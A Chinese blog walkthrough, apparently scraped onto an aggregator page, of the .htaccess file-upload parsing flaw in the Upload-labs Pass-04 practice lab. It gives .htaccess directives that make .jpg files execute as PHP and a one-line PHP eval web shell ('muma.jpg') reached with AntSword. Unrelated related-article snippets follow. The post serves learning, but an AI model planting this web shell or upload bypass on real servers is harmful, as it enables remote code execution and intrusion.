.htaccess文件上传解析漏洞

news/2024/4/16 2:24:45

<ifModule mime_module>AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 --></ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 --><FilesMatch "muma.jpg">Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 --></FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->

下面来说一下这几种写法的区别:

  • Sethandler 指令:
    将该目录及子目录的所有文件均映射为php文件类型
  • Addhandler 指令:
    使用 php5-script 处理器来解析所匹配到的文件
  • AddType 指令
    将特定扩展名文件映射为php文件类型
     
     
  • Upload-labs(Pass-04)

这一关的漏洞便在于 .htaccess 文件上传解析漏洞,使用上面我们所提到的知识便能够通过这一关
在这里插入图片描述我们需要先准备好两个文件(.htaccess 和 muma.jpg

<!-- .htaccess文件 -->
<FilesMatch "muma.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
//muma.jpg
<?php @eval($_POST["test"]); ?>

接下来就是先将 .htaccess 文件上传,从而覆盖父目录对上传目录的影响,然后再上传 muma.jpg 文件,从而完成 .htaccess 文件上传解析漏洞的利用
放一个该关卡蚁剑成功连接的图片
在这里插入图片描述 
 
由于作者也是在学习之中,所以文章错误之处还请在评论区指正

个人新建博客,欢迎访问


http://www.ppmy.cn/news/214210.html

相关文章

台式计算机找不到蓝牙发射器,台式机没有蓝牙功能,怎么连接蓝牙设备呢?

原标题&#xff1a;台式机没有蓝牙功能&#xff0c;怎么连接蓝牙设备呢&#xff1f; 后台经常有小伙伴提问&#xff0c;小泽&#xff0c;我的台式机电脑没有蓝牙功能&#xff0c;但是想连接蓝牙音箱、蓝牙耳机怎么办&#xff1f;其实很简单&#xff0c;用一个蓝牙适配器就可以搞…

win10 蓝牙调试工具 Bluetooth LE Explorer 简单使用

前言 由于当时不知道手机mi10连接蓝牙模块还得开定位&#xff0c;只能用老手机进行调试&#xff0c;非常麻烦&#xff0c;便在网上搜集了win10是否有相应的调试工具。发现了这篇文章 在Windows10系统里调试蓝牙BLE设备 本文进行更加细化的补充。 当然电脑得有蓝牙啊&#xff0…

台式机win7连接蓝牙耳机

想在台式机上安装无线的蓝牙耳机&#xff0c;试过千月&#xff0c;但是评估版&#xff0c;音质差&#xff0c;还要付钱。不服气啊&#xff0c;摸索了两天&#xff0c;现在安装成功&#xff0c;没想到如此简单&#xff0c;还有立体音效&#xff0c;现将安装过程分享如下&#xf…

台式计算机有不有蓝牙,台式机没有蓝牙怎么办

台式机没有蓝牙&#xff0c;想上个蓝牙&#xff0c;该怎么样解决呢?下面由学习啦小编给你做出详细的台式机没有蓝牙解决方法介绍!希望对你有帮助! 台式机没有蓝牙解决方法一&#xff1a; 可以安装USB蓝牙设备 知识延伸&#xff1a;给台式机安装USB蓝牙设备与台式机蓝牙连接 1)…

查询蓝牙适配器版本

台式机不支持蓝牙&#xff0c;装了个蓝牙适配器&#xff0c;结果换来换去又忘记自己这个是啥版本了&#xff0c;适配器自己也不写。 好在微软官方也给了说明如何查询 我的电脑运行哪个蓝牙版本&#xff1f; - Microsoft 支持 https://support.microsoft.com/zh-cn/windows/%E6%…

台式计算机能装蓝牙吗,台式机如何安装蓝牙

想给自己台式机安装一个蓝牙&#xff0c;该怎么样实现呢?下面由小编给你做出详细的台式机安装蓝牙方法介绍!希望对你有帮助! 台式机安装蓝牙方法一&#xff1a; 但只要在电脑上安装这些装置&#xff0c;马上就能让电脑拥有蓝牙无线传输功能。 所谓USB蓝牙模块是个小小的USB装置…

【教程】电脑怎么禁用主板蓝牙,使用蓝牙适配器?

有时主板蓝牙出毛病&#xff0c;比如蓝牙耳机播放卡顿&#xff0c;蓝牙版本过低等&#xff0c;购买了新的USB蓝牙适配器&#xff0c;怎么正确使用呢&#xff1f; 安装过两个蓝牙驱动的Windows win10 win11电脑&#xff0c;回退回使用主板蓝牙时&#xff0c;删除已经配对成功的…

电脑蓝牙与蓝牙适配器使用

注&#xff1a;本人使用的是没有蓝牙的笔记本I3&#xff0c;所以使用蓝牙适配器&#xff0c;win10教育版。 1.查看是否具备蓝牙功能 我的电脑→管理→设备管理器查看是否具有蓝牙模块 。 2.如果确定电脑有蓝牙功能后&#xff0c;那就可以转向第三点。 蓝牙适配器一般都是免安…

台式机无线网卡与蓝牙适配器的安装

是的&#xff0c;又到了无聊一刻。今天来无聊无聊装无线网卡。打算把这篇写得图文并茂。心疼流量的&#xff0c;赶紧绕道。 所有一切的第一&#xff0c;小心别买了笔记本的无线网卡。。。别问我为啥知道。 他们一般长这样&#xff1a; 而台式机是这样的&#xff1a; 不…

台式电脑怎么连接蓝牙和无线网

台式电脑连接蓝牙 我们在使用台式电脑时也会用到蓝牙功能&#xff0c;比如通过蓝牙连接键盘、鼠标、耳机等&#xff0c;但是发现台式电脑连接蓝牙不像笔记本电脑那么容易。 在台式机中&#xff0c;首先点击电脑任务栏右侧的通知图标&#xff0c;如下图所示。 发现这里没有蓝牙…

台式机蓝牙适配器搜不到设备怎么办

您是否也想在没有蓝牙的台式机上通过蓝牙与手机或平板电脑传文件或共享上网&#xff1f;最近买了一个新的蓝牙适配器&#xff0c;装在没有蓝牙功能的台式机上&#xff0c;想和手机能蓝牙共享上网&#xff0c;买的绿联的一款蓝牙适配器&#xff0c;插上usb口后&#xff0c;也看到…

学好STM32套件需要掌握以下几个方面:

学好STM32套件需要掌握以下几个方面&#xff1a; 学好STM32套件需要掌握以下几个方面&#xff1a;1. 充分了解STM32套件的硬件组成和特点。了解STM32套件的处理器型号、芯片架构、外设特性&#xff0c;是理解STM32套件的基础。2. 掌握STM32套件的开发工具和编程语言。了解常见的…

相机参数说明

1.为什么需要标定相机&#xff1f; 主要因为生产的相机成像传感器不是很完美&#xff0c;另外镜头与成像面不是水平的&#xff0c;而是有夹角的&#xff0c;所以通过相机看到的物体的位置与物体实际的位置像是不匹配的。 2.相机标定的内外参数说明 内参数主要为相机的基础矩…

工业相机基本参数以及选型

from: https://blog.csdn.net/dcrmg/article/details/52851913 工业相机基础知识&#xff08;一&#xff09; CCD与CMOS 工业相机按照图像的传感器元件的不同分为CCD&#xff08;Charge Coupled Device,电荷耦合元件&#xff09;和CMOS&#xff08;金属氧化物半导体元件&…

工业相机基本参数及选型

点击上方“小白学视觉”&#xff0c;选择加"星标"或“置顶” 重磅干货&#xff0c;第一时间送达本文转自|新机器视觉工业相机基本参数及选型

工业相机与镜头的参数解释和选型指南

工业相机与镜头的参数解释和选型指南 【靶面尺寸】&#xff08;大佬的原文&#xff0c;写的让人豁然开朗&#xff09; ———————————————— 版权声明&#xff1a;本文为CSDN博主「Cche1」的原创文章&#xff0c;遵循CC 4.0 BY-SA版权协议&#xff0c;转载请附上…

工业相机常见参数

了解工业相机的相关参数能够帮助我们更好的理解相机功能&#xff0c;进而帮助我们完成对相机的选型工作。所谓外行看热闹&#xff0c;内行看门道&#xff0c;工业相机的门道就从其参数开始。 1、分辨率 相机的传感器sensor是有许多像素点按照矩阵的形式排列而成&#xff0c;分…

工业相机参数及选型参考

工业相机视野与分辨率计算 一、视场的计算方法 二、光学放大倍率的计算方法 三、焦距的计算方法 提示&#xff1a;工业相机传感器尺寸大小 1/4″:(3.2mm2.4mm)&#xff1b; 1/3″:(4.8mm3.6mm)&#xff1b; 1/2″:(6.4mm4.8mm)&#xff1b; 2/3″:(8.86.6mm)&#xff1b; 1…
最新文章